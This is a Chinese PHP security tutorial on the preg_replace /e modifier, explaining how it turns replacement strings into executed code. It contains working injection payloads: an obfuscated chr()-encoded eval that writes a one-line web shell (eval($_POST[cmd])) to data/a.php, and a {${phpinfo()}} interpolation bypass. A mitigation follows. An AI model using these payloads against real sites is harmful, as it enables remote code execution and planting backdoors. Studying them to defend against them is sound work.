慎用preg_replace危险的/e修饰符(一句话后门常用)


Posted in PHP onJune 19, 2013

preg_replace函数原型:

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

特别说明:
/e 修正符使 preg_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向引用替换完之后)。提示:要确保 replacement 构成一个合法的 PHP 代码字符串,否则 PHP 会在报告在包含 preg_replace() 的行中出现语法解析错误。
举例:

<?php 
preg_replace ("/(</?)(w+)([^>]*>)/e", 
"\1.strtoupper(\2).\3", 
$html_body); 
?>

这将使输入字符串中的所有 HTML 标记变成大写。

安全威胁分析:
通常subject参数是由客户端产生的,客户端可能会构造恶意的代码,例如:

<? 
echo preg_replace("/test/e",$_GET["h"],"jutst test"); 
?>

如果我们提交?h=phpinfo(),phpinfo()将会被执行(使用/e修饰符,preg_replace会将 replacement 参数当作 PHP 代码执行)。
如果我们提交下面的代码会怎么样呢?
?h=eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111).chr(112).chr(101).chr(110).chr(40).chr(39).chr(100).chr(97).
chr(116).chr(97).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(39).chr(119).chr(39).chr(41).chr(44).chr(39).chr(60).
chr(63).chr(112).chr(104).chr(112).chr(32).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).
chr(99).chr(109).chr(100).chr(93).chr(41).chr(63).chr(62).chr(39).chr(41).chr(59))
密文对应的明文是:fputs(fopen(data/a.php,w),<?php eval($_POST[cmd])?>);
执行的结果是在/data/目录下生成一个一句话木马文件 a.php。

再来一个有难度的例子:

<? 
function test($str) 
{ 
} 
echo preg_replace("/s*[php](.+?)[/php]s*/ies", 'test("\1")', $_GET["h"]); 
?>

提交 ?h=[php]phpinfo()[/php],phpinfo()会被执行吗?
肯定不会。因为经过正则匹配后, replacement 参数变为'test("phpinfo")',此时phpinfo仅是被当做一个字符串参数了。
有没有办法让它执行呢?

当然有。在这里我们如果提交?h=[php]{${phpinfo()}}[/php],phpinfo()就会被执行。为什么呢?
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
注意:双引号中的函数不会被执行和替换。

在这里我们需要通过{${}}构造出了一个特殊的变量,'test("{${phpinfo()}}")',达到让函数被执行的效果(${phpinfo()}会被解释执行)。
可以先做如下测试:

echo "{${phpinfo()}}";

phpinfo会被成功执行了。

如何防范这种漏洞呢?
将'test("\1")' 修改为"test('\1')",这样‘${phpinfo()}'就会被当做一个普通的字符串处理(单引号中的变量不会被处理)。

PHP 相关文章推荐
用php将任何格式视频转为flv的代码
Sep 03 PHP
PHP文件操作实现代码分享
Sep 01 PHP
5种PHP创建数组的实例代码分享
Jan 17 PHP
Codeigniter框架的更新事务(transaction)BUG及解决方法
Jul 25 PHP
php中preg_match的isU代表什么意思
Oct 01 PHP
PHP可变变量学习小结
Nov 29 PHP
php使用pclzip类实现文件压缩的方法(附pclzip类下载地址)
Apr 30 PHP
微信公众号OAuth2.0网页授权问题浅析
Jan 21 PHP
php通过各种函数判断0和空
Jul 04 PHP
PHP匿名函数(闭包函数)详解
Mar 22 PHP
基于Laravel-admin 后台的自定义页面用法详解
Sep 30 PHP
php封装实现钉钉机器人报警接口的示例代码
Aug 08 PHP
解析二进制流接口应用实例 pack、unpack、ord 函数使用方法
Jun 18 #PHP
深入PHP数据加密详解
Jun 18 #PHP
使用array mutisort 实现按某字段对数据排序
Jun 18 #PHP
php多个字符串替换成同一个的解决方法
Jun 18 #PHP
基于PHP读取csv文件内容的详解
Jun 18 #PHP
解析CodeIgniter自定义配置文件
Jun 18 #PHP
Yii PHP Framework实用入门教程(详细介绍)
Jun 18 #PHP
You might like
咖啡的传说和历史
2021/03/03 新手入门
详解:――如何将图片储存在数据库里
2006/12/05 PHP
PHP限制页面只能在微信自带浏览器访问的代码
2014/01/15 PHP
PHP中is_file不能替代file_exists的理由
2014/03/04 PHP
Chrome Web App开发小结
2014/09/04 PHP
yii用户注册表单验证实例
2015/12/26 PHP
window.location和document.location的区别分析
2008/12/23 Javascript
JavaScript.The.Good.Parts阅读笔记(二)作用域&amp;闭包&amp;减缓全局空间污染
2010/11/16 Javascript
seajs中模块的解析规则详解和模块使用总结
2014/03/12 Javascript
如何调试异步加载页面里包含的js文件
2014/10/30 Javascript
学习JavaScript设计模式(链式调用)
2015/11/26 Javascript
基于jQuery的网页影音播放器jPlayer的基本使用教程
2016/03/08 Javascript
JS实现响应鼠标点击动画渐变弹出层效果代码
2016/03/25 Javascript
jQuery简单实现title提示效果示例
2016/08/01 Javascript
微信小程序 数据封装,参数传值等经验分享
2017/01/09 Javascript
利用n 升级工具升级Node.js版本及在mac环境下的坑
2017/02/15 Javascript
vue中将html字符串转换成html后遇到的问题小结
2018/12/10 Javascript
Python查找函数f(x)=0根的解决方法
2015/05/07 Python
Python中函数的参数定义和可变参数用法实例分析
2015/06/04 Python
简单学习Python time模块
2016/04/29 Python
python 第三方库的安装及pip的使用详解
2017/05/11 Python
Python实现的密码强度检测器示例
2017/08/23 Python
Python3.6简单反射操作示例
2018/06/14 Python
tensorflow: variable的值与variable.read_value()的值区别详解
2018/07/30 Python
Django框架使用内置方法实现登录功能详解
2019/06/12 Python
Python基于Dlib的人脸识别系统的实现
2020/02/26 Python
Python结合Window计划任务监测邮件的示例代码
2020/08/05 Python
Diptyque英国官方网站:源自法国的知名香氛品牌
2019/08/28 全球购物
军训生自我鉴定范文
2013/12/27 职场文书
8和9的加减法教学反思
2014/05/01 职场文书
5s推行计划书
2014/05/06 职场文书
小学生读书笔记
2015/07/01 职场文书
红歌会主持词
2015/07/02 职场文书
《假如》教学反思
2016/02/17 职场文书
CSS几步实现赛博朋克2077风格视觉效果
2021/06/16 HTML / CSS
Mysql如何查看是否使用到索引
2022/12/24 MySQL